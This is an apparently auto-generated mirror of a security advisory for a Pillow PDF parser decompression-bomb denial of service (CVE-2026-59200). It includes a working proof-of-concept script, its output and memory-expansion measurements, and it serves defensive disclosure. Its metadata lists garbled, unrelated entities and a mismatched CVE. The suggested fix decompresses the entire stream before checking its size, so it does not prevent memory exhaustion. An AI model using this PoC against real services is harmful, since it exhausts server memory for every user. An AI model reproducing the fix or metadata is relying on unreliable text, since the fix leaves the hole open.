---
schema_version: '1.0'
id: security-20260724-bc2416
url: https://osv.dev/vulnerability/PYSEC-2026-3495
url_hash: bc2416e189777fe74fd8023f2b5dfe1691542126b7b748d505f9436d625631fc
canonical_url: https://osv.dev/vulnerability/PYSEC-2026-3495
source: osv:pypa
category: security/library
category_raw: cve/library
region: null
tags:
- cve
- CVE-2026-59200
- PYSEC-2026-3495
- severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- pillow
- PyPI
lang: en
published_at: '2026-07-23T11:41:48Z'
fetched_at: '2026-07-24T07:01:54.535714Z'
updated_at: '2026-07-24T07:02:21Z'
status: published
content_hash: 48ba9c93255c08c5d88b28c28bb90d0d377cd108e1edc4506c8d473e89640488
content_changed_at: null
license_note: full
summary: 'Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()'
summary_source: rss
summary_en: 'Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()'
entities:
- name: CVE-2026-44243
  type: data
- name: Ter Haibin Airport Bombing<br
  type: event
- name: HigherDose
  type: UNKNOWN
key_facts: []
related: []
related_auto:
- name: Nordstroms
  type: organization
  weight: 1.0
- name: WIRED
  type: organization
  weight: 1.0
title: 'CVE-2026-59200: Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()'
---

# CVE-2026-59200: Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()

## TL;DR
Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()

## Key Points
- cve / CVE-2026-59200 / PYSEC-2026-3495 / severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H / pillow / PyPI

## Details
**Severity:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**Advisory:** PYSEC-2026-3495 (CVE-2026-59200)

**Affected (your watchlist):**
- `PyPI:pillow` 12.1.1 → fixed in 12.3.0 [docker/docker-llmwiki]
- `PyPI:pillow` 12.2.0 → fixed in 12.3.0 [docker/local+docker/mac]

**Details:**
### Summary
`PdfParser.PdfStream.decode()` in Pillow's `PdfParser.py` calls `zlib.decompress()` with the `bufsize` parameter set to the value of the PDF stream's `Length` field, without any upper bound on the actual decompressed output size. Python's `zlib.decompress()` `bufsize` argument is an *initial output buffer hint*, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses `PdfParser` to read untrusted PDF files.

### Details
`PdfStream.decode()` in `pdfminer/PdfParser.py` reads the stream's declared `Length` (or `DL`) field from the PDF dictionary and passes it as `bufsize` to `zlib.decompress()`:

```python
# PIL/PdfParser.py — PdfStream.decode()
class PdfStream:
    def decode(self) -> bytes:
        try:
            filter = self.dictionary[b"Filter"]
        except KeyError:
            return self.buf
        if filter == b"FlateDecode":
            try:
                expected_length = self.dictionary[b"DL"]
            except KeyError:
                expected_length = self.dictionary[b"Length"]
            return zlib.decompress(self.buf, bufsize=int(expected_length))
            #                               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            #  bufsize is an *initial buffer hint*, NOT a maximum size limit.
            #  zlib.decompress() allocates as much memory as needed regardless.
```

From the Python documentation: *"The `bufsize` parameter is used as the initial size of the output buffer."* It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting `Length` to any value (including the actual compressed size) to avoid triggering format validation.

`PdfParser` is instantiated with a filename or file object and calls `read_pdf_info()` on open, which parses the xref table and makes stream objects accessible. `PdfStream.decode()` is reachable whenever calling code accesses a compressed stream object from the parsed PDF.

**Confirmed reachable path:**
```python
with PdfParser.PdfParser("evil.pdf") as pdf:
    stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)
    data = stream_obj.decode()   # ← OOM here
```


### PoC

```python
import zlib, tempfile, os, time
from PIL import PdfParser

# Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)
EXPAND_MB = 100
raw = b'\x00' * (EXPAND_MB * 1_000_000)
compressed = zlib.compress(raw, level=9)   # ~97 KB

buf = b'%PDF-1.4\n'
o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n'
o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n'
o3 = len(buf)
hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()
buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n'
xref = len(buf)
buf += b'xref\n0 4\n0000000000 65535 f \n'
for off in [o1, o2, o3]:
    buf += f'{off:010d} 00000 n \n'.encode()
buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'

print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")

with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:
    f.write(buf); tmpname = f.name

with PdfParser.PdfParser(tmpname) as pdf:
    obj, _ = pdf.get_value(pdf.buf, o3)
    t = time.time()
    decoded = obj.decode()
    print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")

os.unlink(tmpname)
```

**Actual output (Pillow 12.1.1, Python 3.12):**
```
PDF size: 97,538 bytes (95.3 KB)
Decoded: 100,000,000 bytes in 0.265s
```

**Measured expansion:**

| PDF file size | Memory allocated | Ratio | Wall time |
|---|---|---|---|
| 10 KB | 10 MB | 1,026× | 0.024 s |
| 95 KB | 100 MB | 1,028× | 0.265 s |
| 475 KB | 500 MB | 1,028× | 1.279 s |
| 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s |

### Impact
This is a denial-of-service vulnerability. Any application that uses `PIL.PdfParser.PdfParser` to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.

**Note:** This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion `PIL/PdfImagePlugin.py` decompression issue. It exists specifically in Pillow's own `PdfParser.py` module, which is distinct from pdfminer.six.

**Suggested fix:**

```python
MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024  # 200 MB cap

def decode(self) -> bytes:
    ...
    if filter == b"FlateDecode":
        ...
        result = zlib.decompress(self.buf, bufsize=int(expected_length))
        if len(result) > MAX_DECOMPRESS_BYTES:
            msg = "Decompressed stream exceeds maximum allowed size"
            raise ValueError(msg)
        return result
```

**References:**
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-jjj6-mw9f-p565
- https://nvd.nist.gov/vuln/detail/CVE-2026-59200
- https://github.com/python-pillow/Pillow/pull/9718
- https://github.com/python-pillow/Pillow/commit/f7a31ea75e460e108c37126da1f47812f21f6b09
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/12.3.0
- https://pypi.org/project/pillow
- https://github.com/advisories/GHSA-jjj6-mw9f-p565

_Data: OSV.dev (upstream: pypa) — https://osv.dev/vulnerability/PYSEC-2026-3495_

## Source
元記事: [CVE-2026-59200: Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()](https://osv.dev/vulnerability/PYSEC-2026-3495) — published 2026-07-23T11:41:48Z
